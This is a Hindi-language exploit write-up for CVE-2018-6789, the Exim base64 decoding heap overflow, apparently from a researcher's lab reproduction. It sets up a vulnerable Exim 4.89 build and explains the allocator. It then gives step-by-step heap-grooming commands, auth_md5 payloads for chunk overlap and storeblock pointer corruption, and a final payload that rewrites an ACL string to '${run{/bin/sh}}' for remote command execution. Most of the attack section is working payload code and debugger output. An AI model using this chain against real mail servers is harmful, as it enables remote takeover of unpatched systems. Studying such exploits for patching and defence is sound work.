
CVE-2018-6789 के लिए एक्सप्लॉइट, जो Exim के base64 डिकोडिंग में हीप बफ़र ओवरफ़्लो है, और चंक ओवरलैप तथा ACL स्ट्रिंग हेरफेर के माध्यम से रिमोट कोड एक्ज़ीक्यूशन प्राप्त करता है।
निर्भरताएँ स्थापित करें
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
exim का पुराना संस्करण डाउनलोड करें
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
फिर Local/Makefile संशोधित करें सुविधा के लिए सभी फ़ोल्डर वर्तमान निर्देशिका की ओर इंगित करें
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
इससे डिबग करना आसान हो जाता है फिर संकलन और स्थापित करें
make install
./configure को संशोधित करें, नीचे दी गई सामग्री से सीधे ओवरराइट करें
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
पहले base64.c में पैच का विश्लेषण करें:
यहाँ result base64 डिकोड परिणाम के लिए बफ़र है, जिसे store_get फ़ंक्शन द्वारा प्राप्त किया गया है
यह देखा जा सकता है कि पैच से पहले size की गणना में समस्या है; जब size 4n~4n+3 की सीमा में होता है, तो गणना की गई size की लंबाई समान होती है, लेकिन b64decode जब पैरामीटर 4 के गुणज नहीं होते, तो डिकोड करते समय एक या दो बाइट अधिक डिकोड हो जाते हैं
उदाहरण के लिए, हम सीधे भेजते हैं
auth_md5('Hf'*42)
size=0x40
परिणाम का मेमोरी वितरण:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
फिर प्रयास करें
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
दो बाइट ओवरफ्लो हो गए
Exim ने प्रदर्शन बढ़ाने के लिए मौजूदा हीप प्रबंधन तंत्र के ऊपर अपना स्वयं का मेमोरी प्रबंधन तंत्र लागू किया है, यह कोड और glibc के बीच एक मध्यवर्ती बफर के रूप में कार्य करता है, जिसका उद्देश्य malloc और free की संख्या को कम करना है
Exim के लिए एक अलग हीप ब्लॉक को storeblock कहा जाता है, हर बार उपयोग में इससे उपयुक्त आकार का बफर काटा जाता है; यदि एक storeblock समाप्त हो जाता है, तो एक नया storeblock malloc किया जाता है।
प्रत्येक storeblock के लिए, इसकी संरचना एक सरल एकल लिंक्ड लिस्ट है:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
प्रोग्राम हीप का उपयोग करते समय मुख्य रूप से store.c में API का उपयोग करता है:
store_get
store_release
store_extend
store_reset
इनमें से store_get का उपयोग बफ़र प्राप्त करने के लिए किया जाता है, महत्वपूर्ण कोड इस प्रकार है:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
यह देखा जा सकता है कि हर बार आवंटित store_block की न्यूनतम लंबाई STORE_BLOCK_SIZE है, जो 8192 है
इसलिए एक 8192 आकार के store_block, उसके संरचना शीर्ष और हीप ब्लॉक शीर्ष के साथ कुल आकार 0x2020 होता है

जब exim क्लाइंट द्वारा भेजे गए निर्देश को निष्पादित करता है, यदि निर्देश सफलतापूर्वक निष्पादित होता है, तो store_reset को कॉल करके अनावश्यक कैश और अतिरिक्त store_block को मुक्त कर देता है।
यहाँ सफल निष्पादन का अर्थ है कि निर्देश का प्रारूप सही है, मेलबॉक्स में अवैध वर्ण नहीं हैं, आदि; अन्यथा store_reset कॉल नहीं होगा।
यह भेद्यता एक क्लासिक off-by-one है (हालाँकि वास्तव में दो बाइट ओवरफ्लो हो सकते हैं), लेकिन ओवरफ्लो बाइट्स की संख्या कम है, इसलिए हीप ब्लॉक पर संवेदनशील संरचना को सीधे ओवरराइट नहीं किया जा सकता है। इसलिए, इस भेद्यता के प्रभाव को बढ़ाने के लिए ptmalloc की कुछ विशेषताओं का उपयोग करने की आवश्यकता है, इसे व्यापक overflow या overlap में बदलना होगा।
off-by-one भेद्यता के लिए, एक क्लासिक उपयोग विधि chunk enlarge -> chunk overlap है, हीप ब्लॉक के size को बड़ा करके, फिर glibc सैनिटी चेक को बायपास करने के लिए एक नकली हीप हेड बनाकर, ताकि हीप ब्लॉकों का ओवरलैप हो और व्यापक कवरेज हो सके।
यहाँ मुख्य प्रक्रिया chunk enlarge -> chunk overlap -> storeblock में next pointer को दूषित करना है, फिर store_reset को ट्रिगर करके एक मनमाना हीप ब्लॉक को free करना है, और इस ब्लॉक को फिर से आवंटित करके इसकी सामग्री को संशोधित करना (type confusion) है। meh ने लेख में ACL स्ट्रिंग वाले हीप ब्लॉक को संशोधित करने की सिफारिश की है, क्योंकि ACL स्ट्रिंग प्रोसेसिंग में एक कमांड निष्पादन फीचर है। ACL स्ट्रिंग्स बहुत अधिक हैं, लेकिन अधिकांश NULL हैं (संभवतः कॉन्फ़िगरेशन फ़ाइल से संबंधित), यहाँ मैंने acl_smtp_mail स्ट्रिंग को चुना है, जिसमें कमांड निष्पादन का सिंटैक्स है:
${run{command}}
लगभग हीप लेआउट इस प्रकार है:

इसमें पहला हीप ब्लॉक base64 डिकोड से प्राप्त ब्लॉक है, जिसका उपयोग off-by-one के लिए किया जाता है, इसलिए इसे एक storeblock के अंत में होना चाहिए। सुविधा के लिए यहाँ सीधे 0x2020 से बड़ा ब्लॉक आवंटित किया गया है जिसमें base64 डिकोड परिणाम संग्रहीत होता है;
दूसरा हीप ब्लॉक sender_helo_name है, जिसका उपयोग अगले हीप ब्लॉक को ओवरराइट करने के लिए किया जाता है। sender_helo_name storeblock में संग्रहीत नहीं होता, बल्कि सीधे malloc किया जाता है:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
इसलिए आकार इच्छानुसार हो सकता है;
तीसरा हीप ब्लॉक base64 डिकोड से प्राप्त ब्लॉक है, जिसका उपयोग मुख्य रूप से नकली हेड बनाने और ओवरराइट किए जाने के लिए किया जाता है, इसलिए इसे एक storeblock की शुरुआत में होना चाहिए। सुविधा के लिए सीधे 0x2020 आकार आवंटित किया गया है।
मेरा शोषण भी इंटरनेट पर अन्य लोगों के विश्लेषण का अनुसरण करके कदम दर कदम प्राप्त किया गया है। मूल विचार समान है, लेकिन हीप का लेआउट दूसरों से थोड़ा अलग है, इसलिए कुछ छोटे पैरामीटर भिन्न हैं।
पहले 0x6060 आकार का एक unsortedbin उत्पन्न करें, निम्न निर्देश से ऐसा किया जा सकता है:
ehlo('a'*0x1000)
जब exim को "EHLO "+'a'*0x1000 प्राप्त होता है, तो match.c के match_check_list फ़ंक्शन में निम्न तीन स्ट्रिंग उत्पन्न होती हैं:
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
जहाँ *name* = 'a'*0x1000 है
चूँकि name की लंबाई 0x1000 है, प्रत्येक स्ट्रिंग एक अलग storeblock पर कब्जा करेगी, ये तीन स्ट्रिंग लगातार तीन storeblock पर होंगी। जब exim सफलतापूर्वक ehlo निर्देश पूरा करता है, तो smtp_in.c के smtp_setup_msg में पिछली तीन स्ट्रिंग मुक्त हो जाती हैं, जिससे 0x6060 आकार का एक हीप ब्लॉक प्राप्त होता है:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
इस समय हीप लेआउट इस प्रकार है:

sender_helo_name को हीप ब्लॉक के बीच में रखने के लिए, हमें मूल sender_helo_name को मुक्त करना होगा, फिर शीर्ष हीप ब्लॉक को कब्जा करना होगा। जब दूसरा sender_helo_name कब्जा कर लेता है, तो शीर्ष ब्लॉक को मुक्त कर दें।
यहाँ मैंने अमान्य कमांड (unrecognize command) का उपयोग कब्जा करने के लिए किया है। क्योंकि अमान्य कमांड प्राप्त करने पर कमांड निष्पादन में विफलता होती है, और अगली सफल निष्पादन के बाद स्वचालित रूप से मुक्त हो जाता है।
ध्यान दें, अमान्य कमांड का उपयोग करके कब्जा करने का सिद्धांत यह है कि कमांड exim को भेजने पर, exim synprot_error को कॉल करेगा जो इस प्रकार है:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
लेकिन यदि कमांड में सभी दृश्य वर्ण हैं, तो exim इसके लिए नया हीप ब्लॉक आवंटित नहीं करेगा:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
यदि कमांड में अदृश्य वर्ण हैं, तो exim एक नया बफर आवंटित करेगा और अदृश्य वर्णों को ऑक्टल स्ट्रिंग में बदल देगा, जैसे '\xee' -> "\356", यही length + (nonprintcount * 3 + 1) का स्रोत है।
इसलिए पहले sender_ehlo_name को एक छोटे हीप ब्लॉक पर रखें, फिर 0x800 '\xee' भेजने का प्रयास करें, जिससे 0x800 + 1 + 0x800 * 3 = 0x2001 आवंटित होगा, वर्तमान storeblock में इतनी बड़ी जगह नहीं होगी, इसलिए एक नया store_block आवंटित होगा:
ehlo('b'*0x20)
unrec('\xee'*0x800)

फिर 0x2010 आकार का sender_elho_name आवंटित करें:
ehlo('x'*0x2020)
इससे पहले 0x20 आकार का sender_elho_name मुक्त हो जाएगा:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
फिर एक नया sender_helo_name आवंटित करें; जब सब कुछ पूरा हो जाए, तो store_reset कॉल करके अनावश्यक हीप ब्लॉक हटा दें। इस प्रकार 0x2020 आकार का error message मुक्त हो जाएगा, और ऊपर पहले से मुक्त sender_helo_name के साथ malloc_consolidate होकर 0x2050 आकार का एक नया हीप ब्लॉक बनेगा:

इस प्रकार हीप लेआउट लगभग पूरा हो जाता है, इसके बाद सीधे कब्जा करें और भेद्यता ट्रिगर करें:
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
शीर्ष हीप ब्लॉक को कब्जा करें, size 0x2021 को 0x20f1 में बदलने के लिए एक बाइट ओवरफ्लो करें। फिर सबसे नीचे के हीप ब्लॉक को कब्जा करें, 0x1f61 आकार का नकली हेड बनाएं ताकि वह अगले हीप ब्लॉक की ओर इंगित करे:
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
यहाँ फिर से एक हीप ब्लॉक आवंटित करें, क्योंकि अन्यथा ओवरराइट किया गया storeblock अंतिम storeblock होता है, जिसका next null होता है:
auth_md5(b64encode('a'*0x1000))
अब sender_helo_name को मुक्त करके chunk overlap उत्पन्न किया जा सकता है। हालाँकि, एक बिंदु पर ध्यान देने की आवश्यकता है: क्योंकि हमें सबसे नीचे वाले हीप ब्लॉक की आवश्यकता है ताकि वह next pointer प्रदान कर सके (हम इसे ओवरराइट करके मनमाना पता free कर सकें), हम नहीं चाहते कि यह ब्लॉक मुक्त हो। इसलिए एक अमान्य name बनाकर केवल sender_helo_name को मुक्त कराया जा सकता है:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
यदि check_helo विफल होता है, तो प्रोग्राम इस लूप से बाहर निकल जाएगा और store_reset कॉल नहीं करेगा। आइए check_helo के कोड लॉजिक को देखें:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872
1873 else if (*s)
1874 for (yield = TRUE; *s; s++)
1875 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876 Ustrchr(helo_allow_chars, *s) == NULL)
1877 {
1878 yield = FALSE;
1879 break;
1880 }
...
1885 return yield;
1886 }
यह देखा जा सकता है कि check_helo भेजे गए वर्णों की जाँच करता है, जिसमें केवल अक्षर या कुछ विराम चिह्न, या helo_allow_chars शामिल होना चाहिए। आमतौर पर helo_allow_chars खाली होता है, यह कॉन्फ़िगरेशन फ़ाइल में कॉन्फ़िगर किया जाना चाहिए। इसलिए हम space वाला sender_helo_name बना सकते हैं:
ehlo('pwn it!') #must include some invalide chars
इस प्रकार हीप ब्लॉकों का ओवरलैप होता है। फिर इस ब्लॉक को कब्जा करके next pointer को ACL स्ट्रिंग वाले हीप ब्लॉक की ओर संशोधित करें। यहाँ एक समस्या है: अन्य शोषणों ने ASLR को बायपास करने के लिए आंशिक ओवरराइट का उपयोग किया, लेकिन मेरे वातावरण में यह काम नहीं करता, क्योंकि ACL हीप ब्लॉक और जिस ब्लॉक की ओर next इंगित करता है, उनके बीच बहुत दूरी है:
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
इसलिए मेरे शोषण में पूर्ण पता (absolute address) का उपयोग किया गया है:
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
इस प्रकार ACL स्ट्रिंग वाले हीप ब्लॉक को इस store_block की श्रृंखला में शामिल किया जाता है। जब हम sender_helo_name बदलते हैं, तो ये सभी हीप ब्लॉक store_reset में मुक्त हो जाएंगे। इसलिए अब एक मान्य नाम भेजें:
ehlo('I'*16)
अब एक हीप ब्लॉक आवंटित करने पर ACL स्ट्रिंग वाला हीप ब्लॉक मिल जाएगा:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
यहाँ मैंने acl_smtp_mail द्वारा इंगित पते को ओवरराइट किया है। मूलतः सभी ACL स्ट्रिंग इस हीप ब्लॉक में हैं, क्योंकि ये स्ट्रिंग configure से एक-एक करके पढ़ी जाती हैं और store_get द्वारा प्राप्त बफर में रखी जाती हैं, इसलिए ये सभी इस storeblock में क्रमिक रूप से संग्रहीत हैं। अंत में ACL संबंधित API को कॉल करें:
r.sendline('MAIL FROM: <[email protected]>')
फिर smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid में execve को कॉल करके run में दिए गए कमांड को निष्पादित करता है। नीचे सर्वर-साइड डिबग जानकारी है जो दिखाती है कि कमांड वास्तव में निष्पादित हुई:
